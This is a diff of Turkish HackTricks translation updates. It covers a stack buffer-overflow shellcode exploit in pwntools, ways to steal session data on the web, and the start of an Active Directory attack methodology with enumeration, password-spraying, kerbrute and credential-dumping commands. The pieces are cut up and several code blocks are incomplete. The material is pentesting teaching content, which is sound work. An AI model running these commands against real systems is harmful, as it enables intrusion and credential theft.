[**Bu sayfada**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir **`pop rsp` gadget** vardı ve **stack'ten bir leak** vardı:
 | 
			
		||||
```python
 | 
			
		||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
 | 
			
		||||
# This version has added comments
 | 
			
		||||
 | 
			
		||||
@ -8,7 +8,7 @@
 | 
			
		||||
 | 
			
		||||
### C Örneği: Zayıf Bir Program
 | 
			
		||||
 | 
			
		||||
Hadi zayıf bir C programının basit bir örneğiyle başlayalım:
 | 
			
		||||
Basit bir zayıf C programı örneğiyle başlayalım:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <string.h>
 | 
			
		||||
@ -24,18 +24,18 @@ printf("Returned safely\n");
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow açığına sahiptir.
 | 
			
		||||
Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow'a karşı savunmasızdır.
 | 
			
		||||
 | 
			
		||||
### Derleme
 | 
			
		||||
 | 
			
		||||
Bu programı çeşitli korumaları devre dışı bırakarak (açık bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz:
 | 
			
		||||
Bu programı çeşitli korumaları devre dışı bırakarak (savunmasız bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz:
 | 
			
		||||
```sh
 | 
			
		||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 | 
			
		||||
```
 | 
			
		||||
- `-fno-stack-protector`: Yığın korumasını devre dışı bırakır.
 | 
			
		||||
- `-z execstack`: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir.
 | 
			
		||||
- `-no-pie`: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un nerede bulunacağını tahmin etmeyi kolaylaştırır.
 | 
			
		||||
- `-m32`: Programı 32-bit çalıştırılabilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır.
 | 
			
		||||
- `-no-pie`: Konum Bağımsız Yürütülebilir'i devre dışı bırakır, bu da shellcode'un bulunacağı bellek adresini tahmin etmeyi kolaylaştırır.
 | 
			
		||||
- `-m32`: Programı 32-bit yürütülebilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır.
 | 
			
		||||
 | 
			
		||||
### Python Exploit using Pwntools
 | 
			
		||||
 | 
			
		||||
@ -66,24 +66,24 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 | 
			
		||||
p.sendline(payload)
 | 
			
		||||
p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Bu script, bir **NOP kaydırma**, **shellcode** ve ardından **EIP**'yi NOP kaydırmaya işaret eden adresle yazan bir yük oluşturur, böylece shellcode'un çalıştırılmasını sağlar.
 | 
			
		||||
Bu script, bir **NOP slide**, **shellcode** ve ardından **EIP**'yi NOP slide'ına işaret eden adresle yazan bir payload oluşturur, böylece shellcode'un çalıştırılmasını sağlar.
 | 
			
		||||
 | 
			
		||||
**NOP kaydırma** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. `p32()` argümanını, tamponunuzun başlangıç adresine artı bir offset ekleyerek NOP kaydırmasına ulaşacak şekilde ayarlayın.
 | 
			
		||||
**NOP slide** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kayma" şansını artırmak için kullanılır. `p32()` argümanını, buffer'ınızın başlangıç adresine artı bir offset ekleyerek NOP slide'ına ulaşacak şekilde ayarlayın.
 | 
			
		||||
 | 
			
		||||
## Koruma Önlemleri
 | 
			
		||||
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve kazanma fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak.
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır yoksa ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir.
 | 
			
		||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **yığın** koruması, bu bölge çalıştırılabilir olmadığından shellcode'un yığın içinde çalıştırılmasını engeller.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklü olduğunu anlamak için bir leak'e ihtiyacınız olacak.
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır yoksa ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir.
 | 
			
		||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, stack içindeki shellcode'un çalıştırılmasını engeller çünkü o bölge çalıştırılabilir olmayacaktır.
 | 
			
		||||
 | 
			
		||||
## Diğer Örnekler ve Referanslar
 | 
			
		||||
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
 | 
			
		||||
- 64bit, yığın adres sızıntısı ile ASLR, shellcode yaz ve ona atla
 | 
			
		||||
- 64bit, stack adres leak ile ASLR, shellcode yaz ve ona atla
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
 | 
			
		||||
- 32 bit, yığın sızıntısı ile ASLR, shellcode yaz ve ona atla
 | 
			
		||||
- 32 bit, stack leak ile ASLR, shellcode yaz ve ona atla
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
 | 
			
		||||
- 32 bit, yığın sızıntısı ile ASLR, exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla
 | 
			
		||||
- 32 bit, stack leak ile ASLR, exit() çağrısını önlemek için karşılaştırma yap, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -2,12 +2,12 @@
 | 
			
		||||
 | 
			
		||||
{{#include ./banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
Eğer bir noktada **oturumunuza dayalı hassas bilgileri sunan bir web sayfası bulursanız**: Belki çerezleri yansıtıyordur, ya da kredi kartı detaylarını veya başka herhangi bir hassas bilgiyi yazdırıyordur, bunu çalmaya çalışabilirsiniz.\
 | 
			
		||||
Burada bunu başarmak için deneyebileceğiniz ana yolları sunuyorum:
 | 
			
		||||
Eğer bir noktada **oturumunuza dayalı olarak hassas bilgileri sunan bir web sayfası bulursanız**: Belki çerezleri yansıtıyordur, ya da kredi kartı detaylarını veya başka herhangi bir hassas bilgiyi yazdırıyordur, bunu çalmaya çalışabilirsiniz.\
 | 
			
		||||
İşte bunu başarmak için deneyebileceğiniz ana yollar:
 | 
			
		||||
 | 
			
		||||
- [**CORS bypass**](pentesting-web/cors-bypass.md): CORS başlıklarını aşabiliyorsanız, kötü niyetli bir sayfa için Ajax isteği yaparak bilgileri çalabilirsiniz.
 | 
			
		||||
- [**XSS**](pentesting-web/xss-cross-site-scripting/): Sayfada bir XSS açığı bulursanız, bunu bilgileri çalmak için kötüye kullanabilirsiniz.
 | 
			
		||||
- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): XSS etiketlerini enjekte edemiyorsanız bile, diğer normal HTML etiketlerini kullanarak bilgileri çalmaya devam edebilirsiniz.
 | 
			
		||||
- [**CORS bypass**](pentesting-web/cors-bypass.md): CORS başlıklarını aşabilirseniz, kötü niyetli bir sayfa için Ajax isteği yaparak bilgileri çalabilirsiniz.
 | 
			
		||||
- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Sayfada bir XSS açığı bulursanız, bunu bilgileri çalmak için kötüye kullanabilirsiniz.
 | 
			
		||||
- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): XSS etiketlerini enjekte edemiyorsanız bile, diğer normal HTML etiketlerini kullanarak bilgileri çalmaya çalışabilirsiniz.
 | 
			
		||||
- [**Clickjaking**](pentesting-web/clickjacking.md): Bu saldırıya karşı bir koruma yoksa, kullanıcıyı hassas verileri göndermesi için kandırabilirsiniz (bir örnek [burada](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 | 
			
		||||
 | 
			
		||||
{{#include ./banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -2,12 +2,12 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
Eğer bir noktada **oturumunuza dayalı hassas bilgileri sunan bir web sayfası bulursanız**: Belki çerezleri yansıtıyordur, ya da kredi kartı bilgilerini veya başka hassas bilgileri yazdırıyordur, bunu çalmaya çalışabilirsiniz.\
 | 
			
		||||
Eğer bir noktada **oturumunuza dayalı olarak hassas bilgileri sunan bir web sayfası bulursanız**: Belki çerezleri yansıtıyordur, ya da kredi kartı bilgilerini yazdırıyordur veya başka herhangi bir hassas bilgi, bunu çalmaya çalışabilirsiniz.\
 | 
			
		||||
İşte bunu başarmak için deneyebileceğiniz ana yollar:
 | 
			
		||||
 | 
			
		||||
- [**CORS bypass**](../pentesting-web/cors-bypass.md): CORS başlıklarını aşabilirseniz, kötü niyetli bir sayfa için Ajax isteği yaparak bilgileri çalabilirsiniz.
 | 
			
		||||
- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Sayfada bir XSS açığı bulursanız, bunu kullanarak bilgileri çalabilirsiniz.
 | 
			
		||||
- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): XSS etiketlerini enjekte edemiyorsanız, yine de diğer normal HTML etiketlerini kullanarak bilgileri çalabilirsiniz.
 | 
			
		||||
- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): Sayfada bir XSS açığı bulursanız, bunu bilgileri çalmak için kötüye kullanabilirsiniz.
 | 
			
		||||
- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): XSS etiketlerini enjekte edemiyorsanız, yine de diğer normal HTML etiketlerini kullanarak bilgileri çalma şansınız olabilir.
 | 
			
		||||
- [**Clickjaking**](../pentesting-web/clickjacking.md): Bu saldırıya karşı bir koruma yoksa, kullanıcıyı hassas verileri göndermesi için kandırabilirsiniz (bir örnek [burada](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -1,10 +1,83 @@
 | 
			
		||||
# Active Directory Metodolojisi
 | 
			
		||||
# Active Directory Methodology
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Temel genel bakış
 | 
			
		||||
 | 
			
		||||
**Active Directory**, **ağ yöneticileri** için bir temel teknoloji olarak hizmet eder ve bir ağ içinde **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlar. Ölçeklenebilir şekilde tasarlanmıştır, böylece çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara
 | 
			
		||||
**Active Directory**, **ağ yöneticileri** için bir temel teknoloji olarak hizmet eder, **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlar. Ölçeklenebilir şekilde tasarlanmıştır, çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize etmeyi kolaylaştırırken, çeşitli seviyelerde **erişim haklarını** kontrol eder.
 | 
			
		||||
 | 
			
		||||
**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir.
 | 
			
		||||
 | 
			
		||||
**Active Directory** içindeki anahtar kavramlar şunlardır:
 | 
			
		||||
 | 
			
		||||
1. **Dizin** – Active Directory nesneleri ile ilgili tüm bilgileri barındırır.
 | 
			
		||||
2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** gibi, ifade eder.
 | 
			
		||||
3. **Alan** – Dizin nesneleri için bir konteyner görevi görür, bir **orman** içinde birden fazla alanın bir arada bulunabilme yeteneğine sahiptir, her biri kendi nesne koleksiyonunu korur.
 | 
			
		||||
4. **Ağaç** – Ortak bir kök alanı paylaşan alanların bir gruplamasıdır.
 | 
			
		||||
5. **Orman** – Active Directory'deki organizasyon yapısının zirvesidir, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur.
 | 
			
		||||
 | 
			
		||||
**Active Directory Domain Services (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik bir dizi hizmeti kapsar. Bu hizmetler şunları içerir:
 | 
			
		||||
 | 
			
		||||
1. **Alan Hizmetleri** – Veri depolamasını merkezileştirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir, **kimlik doğrulama** ve **arama** işlevselliklerini içerir.
 | 
			
		||||
2. **Sertifika Hizmetleri** – Güvenli **dijital sertifikaların** oluşturulması, dağıtımı ve yönetimini denetler.
 | 
			
		||||
3. **Hafif Dizin Hizmetleri** – **LDAP protokolü** aracılığıyla dizin destekli uygulamaları destekler.
 | 
			
		||||
4. **Dizin Federasyon Hizmetleri** – Bir oturumda birden fazla web uygulaması arasında kullanıcıları kimlik doğrulamak için **tek oturum açma** yetenekleri sağlar.
 | 
			
		||||
5. **Hak Yönetimi** – Telif hakkı materyalini korumaya yardımcı olur, yetkisiz dağıtım ve kullanımını düzenler.
 | 
			
		||||
6. **DNS Hizmeti** – **alan adlarının** çözümü için kritik öneme sahiptir.
 | 
			
		||||
 | 
			
		||||
Daha ayrıntılı bir açıklama için kontrol edin: [**TechTerms - Active Directory Tanımı**](https://techterms.com/definition/active_directory)
 | 
			
		||||
 | 
			
		||||
### **Kerberos Kimlik Doğrulaması**
 | 
			
		||||
 | 
			
		||||
Bir **AD'yi saldırmak** için **Kerberos kimlik doğrulama sürecini** gerçekten iyi **anlamanız** gerekir.\
 | 
			
		||||
[**Nasıl çalıştığını hala bilmiyorsanız bu sayfayı okuyun.**](kerberos-authentication.md)
 | 
			
		||||
 | 
			
		||||
## Hile Sayfası
 | 
			
		||||
 | 
			
		||||
AD'yi listelemek/sömürmek için hangi komutları çalıştırabileceğinizi hızlıca görmek için [https://wadcoms.github.io/](https://wadcoms.github.io) adresine göz atabilirsiniz.
 | 
			
		||||
 | 
			
		||||
## Active Directory'yi Keşfetme (Kimlik bilgisi/oturum yok)
 | 
			
		||||
 | 
			
		||||
Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturumunuz yoksa şunları yapabilirsiniz:
 | 
			
		||||
 | 
			
		||||
- **Ağı test et:**
 | 
			
		||||
- Ağı tarayın, makineleri ve açık portları bulun ve bunlardan **zayıflıkları sömürmeye** veya **kimlik bilgilerini çıkarmaya** çalışın (örneğin, [yazıcılar çok ilginç hedefler olabilir](ad-information-in-printers.md)).
 | 
			
		||||
- DNS'i listelemek, alan içindeki anahtar sunucular hakkında bilgi verebilir; web, yazıcılar, paylaşımlar, vpn, medya vb.
 | 
			
		||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
 | 
			
		||||
- Bunu nasıl yapacağınız hakkında daha fazla bilgi bulmak için Genel [**Pentesting Metodolojisi**](../../generic-methodologies-and-resources/pentesting-methodology.md) sayfasına göz atın.
 | 
			
		||||
- **Smb hizmetlerinde null ve Misafir erişimini kontrol et** (bu modern Windows sürümlerinde çalışmayacaktır):
 | 
			
		||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
 | 
			
		||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
 | 
			
		||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
 | 
			
		||||
- Bir SMB sunucusunu listelemek için daha ayrıntılı bir kılavuz burada bulunabilir:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../network-services-pentesting/pentesting-smb/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- **Ldap'ı listele**
 | 
			
		||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
 | 
			
		||||
- LDAP'ı listelemek için daha ayrıntılı bir kılavuz burada bulunabilir (lütfen **anonim erişime** özel dikkat gösterin):
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../network-services-pentesting/pentesting-ldap.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- **Ağı zehirle**
 | 
			
		||||
- Kimlik bilgilerini [**Responder ile hizmetleri taklit ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) toplayın.
 | 
			
		||||
- [**relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir ana makineye erişin.
 | 
			
		||||
- **fake UPnP hizmetlerini kötü-S ile** [**açığa çıkararak**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) ile kimlik bilgilerini toplayın.
 | 
			
		||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
 | 
			
		||||
- Alan ortamları içindeki iç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) kullanıcı adlarını/isimlerini çıkarın ve ayrıca kamuya açık olanlardan.
 | 
			
		||||
- Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar şunlardır: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _ASoyad_, _A.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadA_, _Soyad.A_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123).
 | 
			
		||||
- Araçlar:
 | 
			
		||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 | 
			
		||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
 | 
			
		||||
 | 
			
		||||
### Kullanıcı listeleme
 | 
			
		||||
 | 
			
		||||
- **Anonim SMB/LDAP listeleme:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) ve [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) sayfalarını kontrol edin.
 | 
			
		||||
- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hata** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek, bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir.
 | 
			
		||||
```bash
 | 
			
		||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
 | 
			
		||||
 | 
			
		||||
@ -30,7 +103,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
 | 
			
		||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
 | 
			
		||||
```
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> Kullanıcı adlarının listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* ve bu ([**istatistiksel-olasılıkta-kullanıcı-adları**](https://github.com/insidetrust/statistically-likely-usernames)) içinde bulabilirsiniz.
 | 
			
		||||
> Kullanıcı adlarının listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* ve bu ([**istatistiksel-olasılıkta-kullanıcı-adları**](https://github.com/insidetrust/statistically-likely-usernames)) bulabilirsiniz.
 | 
			
		||||
>
 | 
			
		||||
> Ancak, bu adımdan önce gerçekleştirmiş olmanız gereken keşif aşamasından **şirket çalışanlarının isimlerini** almış olmalısınız. İsim ve soyadı ile [**namemash.py**](https://gist.github.com/superkojiman/11076951) scriptini kullanarak potansiyel geçerli kullanıcı adları oluşturabilirsiniz.
 | 
			
		||||
 | 
			
		||||
@ -38,7 +111,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
 | 
			
		||||
 | 
			
		||||
Tamam, geçerli bir kullanıcı adınız var ama şifre yok... O zaman deneyin:
 | 
			
		||||
 | 
			
		||||
- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **bir AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevi ile şifrelenmiş bazı verileri içerecektir.
 | 
			
		||||
- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **bir AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevine göre şifrelenmiş bazı veriler içerecektir.
 | 
			
		||||
- [**Password Spraying**](password-spraying.md): Bulduğunuz her kullanıcı ile en **yaygın şifreleri** deneyelim, belki bazı kullanıcı kötü bir şifre kullanıyordur (şifre politikasını aklınızda bulundurun!).
 | 
			
		||||
- Ayrıca, kullanıcıların mail sunucularına erişim sağlamak için **OWA sunucularını da spray yapabilirsiniz**.
 | 
			
		||||
 | 
			
		||||
@ -48,7 +121,7 @@ password-spraying.md
 | 
			
		||||
 | 
			
		||||
### LLMNR/NBT-NS Zehirleme
 | 
			
		||||
 | 
			
		||||
Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehirleyerek** **obtain** edebilirsiniz:
 | 
			
		||||
Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehirleyerek** **elde edebilirsiniz**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
 | 
			
		||||
@ -56,9 +129,9 @@ Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehir
 | 
			
		||||
 | 
			
		||||
### NTML Relay
 | 
			
		||||
 | 
			
		||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zorlayarak AD ortamına erişim sağlamayı deneyebilirsiniz.
 | 
			
		||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zorlayarak AD ortamına erişim sağlayabilirsiniz.
 | 
			
		||||
 | 
			
		||||
### NTLM Kimlik Bilgilerini Çalma
 | 
			
		||||
### NTLM Kimlik Bilgilerini Çalmak
 | 
			
		||||
 | 
			
		||||
Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya bir şekilde erişildiğinde **sizinle NTML kimlik doğrulaması tetiklenecektir**, böylece **NTLM zorluğunu çalabilirsiniz**:
 | 
			
		||||
 | 
			
		||||
@ -83,7 +156,7 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük
 | 
			
		||||
[**ASREPRoast**](asreproast.md) ile artık her olası savunmasız kullanıcıyı bulabilirsiniz ve [**Password Spraying**](password-spraying.md) ile ele geçirilen hesabın şifresini, boş şifreleri ve yeni umut verici şifreleri deneyebilirsiniz.
 | 
			
		||||
 | 
			
		||||
- [**Temel bir keşif yapmak için CMD kullanabilirsiniz**](../basic-cmd-for-pentesters.md#domain-info)
 | 
			
		||||
- Ayrıca [**keşif için powershell kullanabilirsiniz**](../basic-powershell-for-pentesters/) bu daha gizli olacaktır
 | 
			
		||||
- Ayrıca [**keşif için powershell kullanabilirsiniz**](../basic-powershell-for-pentesters/index.html) bu daha gizli olacaktır
 | 
			
		||||
- Daha ayrıntılı bilgi çıkarmak için [**powerview kullanabilirsiniz**](../basic-powershell-for-pentesters/powerview.md)
 | 
			
		||||
- Aktif dizinde keşif için başka bir harika araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları keşfedin, vb.
 | 
			
		||||
- **Diğer otomatik AD listeleme araçları şunlardır:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
 | 
			
		||||
@ -96,9 +169,9 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük
 | 
			
		||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
 | 
			
		||||
- **Tüm alan kullanıcılarını çıkarmak**
 | 
			
		||||
 | 
			
		||||
Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net user /domain`, `Get-DomainUser` veya `wmic useraccount get name,sid`). Linux'ta, `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` veya `enum4linux -a -u "user" -p "password" <DC IP>` kullanabilirsiniz.
 | 
			
		||||
Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net user /domain`, `Get-DomainUser` veya `wmic useraccount get name,sid`). Linux'ta şunları kullanabilirsiniz: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` veya `enum4linux -a -u "user" -p "password" <DC IP>`
 | 
			
		||||
 | 
			
		||||
> Bu Listeleme bölümü küçük görünse de, bu tüm sürecin en önemli kısmıdır. Bağlantılara erişin (özellikle cmd, powershell, powerview ve BloodHound olanlara), bir alanı nasıl listeleyeceğinizi öğrenin ve rahat hissettiğinizdeye kadar pratik yapın. Bir değerlendirme sırasında, bu DA'ya ulaşmak veya hiçbir şey yapılamayacağına karar vermek için ana an olacaktır.
 | 
			
		||||
> Bu Listeleme bölümü küçük görünse de, bu tümünün en önemli kısmıdır. Bağlantılara erişin (özellikle cmd, powershell, powerview ve BloodHound olanlara), bir alanı nasıl listeleyeceğinizi öğrenin ve rahat hissettiğinizdeye kadar pratik yapın. Bir değerlendirme sırasında, bu DA'ya ulaşmak veya hiçbir şey yapılamayacağına karar vermek için ana an olacaktır.
 | 
			
		||||
 | 
			
		||||
### Kerberoast
 | 
			
		||||
 | 
			
		||||
@ -118,7 +191,7 @@ Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişimi
 | 
			
		||||
 | 
			
		||||
Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz varsa**, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) dökebilirsiniz.
 | 
			
		||||
 | 
			
		||||
